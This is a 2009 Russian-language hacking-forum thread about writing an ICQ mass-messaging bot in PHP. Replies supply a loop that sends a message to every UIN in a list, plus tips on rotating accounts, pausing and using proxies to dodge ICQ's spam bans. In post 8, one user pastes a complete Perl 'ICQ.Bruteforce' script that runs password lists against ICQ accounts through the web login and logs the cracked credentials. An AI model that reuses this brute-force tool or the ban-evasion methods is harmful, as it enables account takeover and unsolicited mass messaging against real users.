ICQ рассылка на php

Discussion in 'PHP' started by mff, 17 Mar 2009.

  1. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    Здравствуйте дорогие античатовцы! :)

    Требуется ваша бесценная помощь.
    Задача: написать простенький рассыльщих ICQ на php. Рассылать нужно будет по базе подписчиков.
    Реально ли это? Если да, то подскажите с чего начинать.

    Когда то делал месенгер на php и flash используя WebIcqLite.class - работал, но нестабильно.

    Спасибо!
     
  2. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Реально, вот алгоритм: качаешь класс WebIcqLite. Заносишь базу подписчиков в массив:
    PHP:
    $base=explode("\r\n",file_get_contents('base.txt'));
    Потом в цикле
    PHP:
    for($i=0;$i<=count($base);$i++)
    {
    $icq->send_message($base[$i], "Message");
    sleep(2);
    }
    Аську выбрасывает, если подряд сообщения идут с одного нума - поэтому прилепил слип. Либо можешь еще в цикл
    PHP:
    define('UIN'$uins[$i]);
    define('PASSWORD'$pass[$i]);
    опять же чтобы не выкидало аську. Только очень часто не логинись - надо будет прокси юзать.
     
  3. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    rushter, ну да. Этим тоже можно. Забыл про него, разницы то нету.
     
    1 person likes this.
  4. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    ну в общем что-то в этом роде:

    PHP:
    <?php 
    @set_time_limit(0); 
    @
    ini_set("display_errors","1");
    ignore_user_abort(1);

    include(
    'WebIcqLite.class.php');

    $ini parse_ini_file("icq.ini");

    $uin $ini[uin]; // UIN для бота
    $pass $ini[pass]; // Пароль для UIN бота
    $file_uin $ini[file_uin]; // Файл, где список рассылки
    $message $ini[message]; // Сообщение 
    $pause $ini[pause]; // пауза между сообщениями

    define('UIN'$uin);
    define('PASSWORD'$pass);

    $icq = new WebIcqLite();
    if(!
    $icq->connect(UINPASSWORD)) {
           echo 
    $icq->error;
           exit();
    }
       
    $file fopen($file_uin,'r');
       while (!
    feof($file)) {
          
    $buffer trim(fgets($file));
          
    $icq->send_message($buffer$message);
          echo 
    "Message sent to $buffer \n";
          
    flush();
          
    sleep($pause);
       }    

    $icq->disconnect();
    exit();
    ?>
    icq.ini:

    PHP:
    uin 123456 UINс которого рассылаем
    pass 
    1234 Пароль для UINс которого рассылаем
    file_uin 
    uin.txt Файл со списком UIN для рассылки
    message 
    test, do not reply this messagebot-test Собственно сама мессага для отсылки
    pause 
    Пауза между каждым сообщениемчтобы нас не забанили (в секундах)
    uin.txt:

    PHP:
    11111
    22222
    33333
    44444
    скачать сорцы + icq.exe (скомпилировано под винды, протестено под win xp, потому и стабильно) + настройки + сам класс в виде архива:

    скачать
     
    #4 Pashkela, 17 Mar 2009
    Last edited: 17 Mar 2009
    2 people like this.
  5. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    Спасибо ребят! Полез разбирать! :)
     
  6. blaga

    blaga Elder - Старейшина

    Joined:
    23 Mar 2006
    Messages:
    884
    Likes Received:
    273
    Reputations:
    106
    Pashkela, чем тебе так ини файлы нравяться?
    вообще то не очень удобно, если кто нить узнает что такой файл есть на серваке то его можно тупо скачать и узнать нум и пасс с которого шлют, а потом и скачать файл с уинами подписчиков.
    имхо было бы проще сделать на php этот файл а нумы хранить в БД... ИМХО
     
  7. Gray_Wolf

    Gray_Wolf Active Member

    Joined:
    7 Mar 2009
    Messages:
    377
    Likes Received:
    135
    Reputations:
    10
    2blaga *.ini и *.txt можно хранить в отдельном каталоге с .htaccess.
     
    1 person likes this.
  8. PandoraBox

    PandoraBox Elder - Старейшина

    Joined:
    6 May 2007
    Messages:
    262
    Likes Received:
    176
    Reputations:
    7
    на перл для многопоточности!

    Code:
    #!/usr/bin/perl
    
    #############################################
    #############################################
    #
    # ICQ.Bruteforce v1.7 by UsEle$$ gr0up
    #
    # Language: Perl Code
    # Platform: Any with Perl started
    # Author: Hunt
    # All Rights Reserved by UsEle$$ gr0up
    #
    # 11.12.02
    #
    #############################################
    #############################################
    
    use IO::Socket;
    
    $negative = 'incorrect';
    $positive = 'change_details';
    $server   = 'web.icq.com';
    
    # local files directives
    $uins        = 'uins.txt';
    $passwordlst = 'pass.txt';
    $success     = 'log.txt';
    $debuglog    = 'debug.log';
    
    # begin of script-code
    
    print "\n\n\tICQ.Bruteforce v1.7 by UsEle\$\$ gr0up\n\n";
    print "\tLanguage: Perl Code\n";
    print "\tPlatform: Any with Perl started\n";
    print "\tAuthor: Hunt\n";
    print "\tAll Rights Reserved by UsEle\$\$ gr0up\n";
    print "\tReady to work...\n\n";
    
    &checkstart; # checking configuration
    &openuins;   # opening uins & pass list
    
    sub checkstart
    {
      crash($uins) unless -f $uins;
      crash($passwordlst) unless -f $passwordlst;
    }
    
    sub openuins
    {
      open UINS, "< $uins";
      while (<UINS>) {
        chomp $_;
        push @uinslst, $_;
      }
      close UINS;
      for ($iall = 0; $iall <= scalar @uinslst; $iall++) {
        $prepareuin = $uinslst[$iall];
        openpass($prepareuin);
      }
    }
    
    sub openpass
    {
      my($uin) = @_;
      open PASS, "< $passwordlst";
    #  while (<PASS>) {
    #    chomp $_;
    #    push @ps, $_;
    #  }
      @ps = <PASS> while <PASS>;
      close PASS;
      foreach $pass (@ps) {
        $done = crack($pass, $uin);
        if ($done eq 2) {
          print "\tFound\n";
          return;
        }
        return if $done eq 3;
      }
    }
    
    sub crack
    {
      my($passwd, $uin) = @_;
      return 3 unless $passwd;
      print "\tTrying $uin and $passwd... ";
      $dir = "/newlogin/1,,,00.html?&karma_fail_url=http://web.icq.com/login/login_page?karma_product_css=11&karma_success_url=http://web.icq.com/whitepages/change_details/?&karma_forget=1&karma_service=1&karma_user_login=$uin&karma_user_passwd=$passwd";
      $resuilt = sock($dir);
      if ($resuilt == -1) {
        print "Can\'t connect to server... Reconnecting\n";
        redo;
      } elsif (!$resuilt) {
        print "failed\n";
        return 0;
      } elsif ($resuilt) {
        print "success\n";
        logging($success, "$uin\:$passwd");
        $i++;
        return 2;
      }
    }
    
    sub sock
    {
      my($socket);
      my($get) = @_;
      $socket = IO::Socket::INET->new(PeerAddr => $server,
                                      PeerPort => 80,
                                      Proto => tcp) or return -1;
      $get =~ s/\r|\n//g;
      print $socket "HEAD $get HTTP/1.0\n\n";
      while (<$socket>) {
        $answer = $_;
        chomp $answer;
        if ($answer =~ /$positive/) {
          close $socket;
          return 1;
        }
        if ($answer =~ /$negative/) {
          close $socket;
          return 0;
        }
      }
    }
    
    sub logging
    {
      my($logg, $string) = @_;
      open LOGG, ">> $logg";
      print LOGG "$string\n";
      close LOGG;    
    }
    
    sub crash
    {
      my($file) = @_;
      print "\tCan\'t access to $file\n";
      exit;
    }
     
  9. Deathdreams

    Deathdreams Elder - Старейшина

    Joined:
    8 Nov 2008
    Messages:
    342
    Likes Received:
    116
    Reputations:
    5
    2 Pashkela
    на самом деле ini файлы в данном случае неудобны.
    не проще всё указать в переменных?
    намного быстрее будет скрипт выполнятся.А так пока он будет парсить.
    Здесь так и указать значения.

    $uin = 'uin бота'; // UIN для бота
    $pass = 'pass uin'; // Пароль для UIN бота
    $file_uin = file(uins.txt); // Файл, где список рассылки
    $message = 'месага'; // Сообщение
    $pause = '2'; // пауза между сообщениями
     
  10. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 Deathdreams:

    Удобнее, удобнее, взял из своего бота просто, МНЕ так удобнее, чем удалять реальные UIN и ПАСС, прежде чем кому-то показывать код вообще. Думкайте, потом пишите. Скорость у них не та. ICQ-BOT на нескомпилированном php вообще бред
     
  11. Derick

    Derick New Member

    Joined:
    9 Mar 2007
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    Кто нибудь пробовал отсылать сообщение где то исмовлов 200.? Я пробовал uin почему то сразу баниться.